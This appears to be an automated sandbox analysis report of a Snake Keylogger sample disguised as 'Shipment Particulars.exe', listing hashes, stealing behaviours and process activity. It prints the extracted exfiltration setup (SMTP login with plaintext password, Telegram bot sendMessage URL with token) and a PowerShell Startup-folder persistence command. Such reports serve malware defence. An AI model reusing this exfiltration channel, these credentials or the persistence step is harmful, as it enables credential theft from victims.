Analysis
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max time kernel
149s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
28-04-2024 16:14
Static task
static1
Behavioral task
behavioral1
Sample
Shipment Particulars.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
Shipment Particulars.exe
Resource
win10v2004-20240426-en
General
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Target
Shipment Particulars.exe
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Size
1.1MB
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MD5
a31e2e7b5009a5499d3a900c54cff18b
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SHA1
744e5d9c697d92ca0b47e1ac83dc1e448f5ac55a
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SHA256
ae07170344ef7f113a32b575a40dbca7dfc7e770f3109df6e5b00e3686268652
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SHA512
d62253eea81be81b1cb0e4497d51cc0eafc7497f07b1808412789490dbf01b985abd31074511cbf60b4fd2c7745a817e500b6a41feedff97493343bf900177f9
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SSDEEP
24576:0Ff87va09lK4kB/YAuseX7KvO1YAuJMi+sPV3GykDfMNVzCOgKIQtKoColK5dwd5:gOiKpAuserKvpAuJMi+sPV3GykDfMNVb
Malware Config
Extracted
snakekeylogger
Protocol: smtp- Host:
mail.yandex.com - Port:
587 - Username:
[email protected] - Password:
chijiokejackson121
https://api.telegram.org/bot5206100572:AAFn3MxBuN0bjQhfY8y1ed9Iwi79LyIe75I/sendMessage?chat_id=2135869667
Signatures
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Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
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Snake Keylogger payload 2 IoCs
Processes:
resource yara_rule behavioral2/memory/4588-28-0x0000000000400000-0x0000000000424000-memory.dmp family_snakekeylogger behavioral2/memory/4588-45-0x00000000056E0000-0x00000000056F0000-memory.dmp family_snakekeylogger -
Drops startup file 2 IoCs
Processes:
Powershell.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\.exe Powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\.exe Powershell.exe -
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
Processes:
Shipment Particulars.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Shipment Particulars.exe Key opened \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Shipment Particulars.exe Key opened \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Shipment Particulars.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 4 checkip.dyndns.org -
Suspicious use of SetThreadContext 1 IoCs
Processes:
Shipment Particulars.exedescription pid process target process PID 5056 set thread context of 4588 5056 Shipment Particulars.exe Shipment Particulars.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
Powershell.exeShipment Particulars.exepid process 4668 Powershell.exe 4668 Powershell.exe 4588 Shipment Particulars.exe 4588 Shipment Particulars.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
Powershell.exeShipment Particulars.exedescription pid process Token: SeDebugPrivilege 4668 Powershell.exe Token: SeDebugPrivilege 4588 Shipment Particulars.exe -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
Shipment Particulars.exedescription pid process target process PID 5056 wrote to memory of 4668 5056 Shipment Particulars.exe Powershell.exe PID 5056 wrote to memory of 4668 5056 Shipment Particulars.exe Powershell.exe PID 5056 wrote to memory of 4668 5056 Shipment Particulars.exe Powershell.exe PID 5056 wrote to memory of 4588 5056 Shipment Particulars.exe Shipment Particulars.exe PID 5056 wrote to memory of 4588 5056 Shipment Particulars.exe Shipment Particulars.exe PID 5056 wrote to memory of 4588 5056 Shipment Particulars.exe Shipment Particulars.exe PID 5056 wrote to memory of 4588 5056 Shipment Particulars.exe Shipment Particulars.exe PID 5056 wrote to memory of 4588 5056 Shipment Particulars.exe Shipment Particulars.exe PID 5056 wrote to memory of 4588 5056 Shipment Particulars.exe Shipment Particulars.exe PID 5056 wrote to memory of 4588 5056 Shipment Particulars.exe Shipment Particulars.exe PID 5056 wrote to memory of 4588 5056 Shipment Particulars.exe Shipment Particulars.exe -
outlook_office_path 1 IoCs
Processes:
Shipment Particulars.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Shipment Particulars.exe -
outlook_win_path 1 IoCs
Processes:
Shipment Particulars.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Shipment Particulars.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\Shipment Particulars.exe"C:\Users\Admin\AppData\Local\Temp\Shipment Particulars.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe"Powershell.exe" -ExecutionPolicy Bypass -command Copy-Item 'C:\Users\Admin\AppData\Local\Temp\Shipment Particulars.exe' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\.exe'2⤵
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\Shipment Particulars.exe"C:\Users\Admin\AppData\Local\Temp\Shipment Particulars.exe"2⤵
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Shipment Particulars.exe.logFilesize
1KB
MD542cf78075d35fca7f7db2207f60c9ef8
SHA1d75ba8a0b88bc1a95dbac87d711a5638ba9108be
SHA256be2f4757cae75ceb563fbd3007fa460a271f26619613d71e52e44ac91d7e8c93
SHA5124682e10a5948982610c38496cc260ef9653f0c7787ce0307aa38836043450c422d9002a870ffe81e55275a77ba4e4f13c1a81ac5968be0c06ba07150a460b449
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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yfboncvj.by1.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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memory/4588-45-0x00000000056E0000-0x00000000056F0000-memory.dmpFilesize
64KB
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memory/4588-44-0x00000000066E0000-0x00000000066EA000-memory.dmpFilesize
40KB
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memory/4588-43-0x0000000074EC0000-0x0000000075670000-memory.dmpFilesize
7.7MB
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memory/4588-42-0x0000000006730000-0x00000000068F2000-memory.dmpFilesize
1.8MB
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memory/4588-41-0x0000000006510000-0x0000000006560000-memory.dmpFilesize
320KB
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memory/4588-33-0x00000000056E0000-0x00000000056F0000-memory.dmpFilesize
64KB
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memory/4588-31-0x0000000074EC0000-0x0000000075670000-memory.dmpFilesize
7.7MB
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memory/4588-28-0x0000000000400000-0x0000000000424000-memory.dmpFilesize
144KB
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memory/4668-8-0x0000000005480000-0x00000000054A2000-memory.dmpFilesize
136KB
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memory/4668-36-0x0000000006970000-0x0000000006992000-memory.dmpFilesize
136KB
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memory/4668-12-0x0000000004EF0000-0x0000000004F00000-memory.dmpFilesize
64KB
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memory/4668-10-0x0000000005DF0000-0x0000000005E56000-memory.dmpFilesize
408KB
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memory/4668-11-0x0000000074EC0000-0x0000000075670000-memory.dmpFilesize
7.7MB
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memory/4668-23-0x0000000005E60000-0x00000000061B4000-memory.dmpFilesize
3.3MB
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memory/4668-24-0x0000000006440000-0x000000000645E000-memory.dmpFilesize
120KB
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memory/4668-25-0x0000000006480000-0x00000000064CC000-memory.dmpFilesize
304KB
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memory/4668-40-0x0000000074EC0000-0x0000000075670000-memory.dmpFilesize
7.7MB
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memory/4668-35-0x0000000006920000-0x000000000693A000-memory.dmpFilesize
104KB
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memory/4668-9-0x0000000005CD0000-0x0000000005D36000-memory.dmpFilesize
408KB
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memory/4668-13-0x0000000004EF0000-0x0000000004F00000-memory.dmpFilesize
64KB
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memory/4668-7-0x0000000005530000-0x0000000005B58000-memory.dmpFilesize
6.2MB
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memory/4668-34-0x00000000069B0000-0x0000000006A46000-memory.dmpFilesize
600KB
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memory/4668-6-0x0000000004E90000-0x0000000004EC6000-memory.dmpFilesize
216KB
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memory/5056-32-0x0000000074EC0000-0x0000000075670000-memory.dmpFilesize
7.7MB
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memory/5056-0-0x0000000000710000-0x0000000000824000-memory.dmpFilesize
1.1MB
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memory/5056-27-0x00000000051B0000-0x00000000051C0000-memory.dmpFilesize
64KB
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memory/5056-26-0x0000000005270000-0x000000000527A000-memory.dmpFilesize
40KB
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memory/5056-5-0x00000000053F0000-0x000000000548C000-memory.dmpFilesize
624KB
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memory/5056-4-0x00000000052B0000-0x0000000005342000-memory.dmpFilesize
584KB
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memory/5056-3-0x0000000005770000-0x0000000005D14000-memory.dmpFilesize
5.6MB
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memory/5056-2-0x0000000005150000-0x00000000051A6000-memory.dmpFilesize
344KB
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memory/5056-1-0x0000000074EC0000-0x0000000075670000-memory.dmpFilesize
7.7MB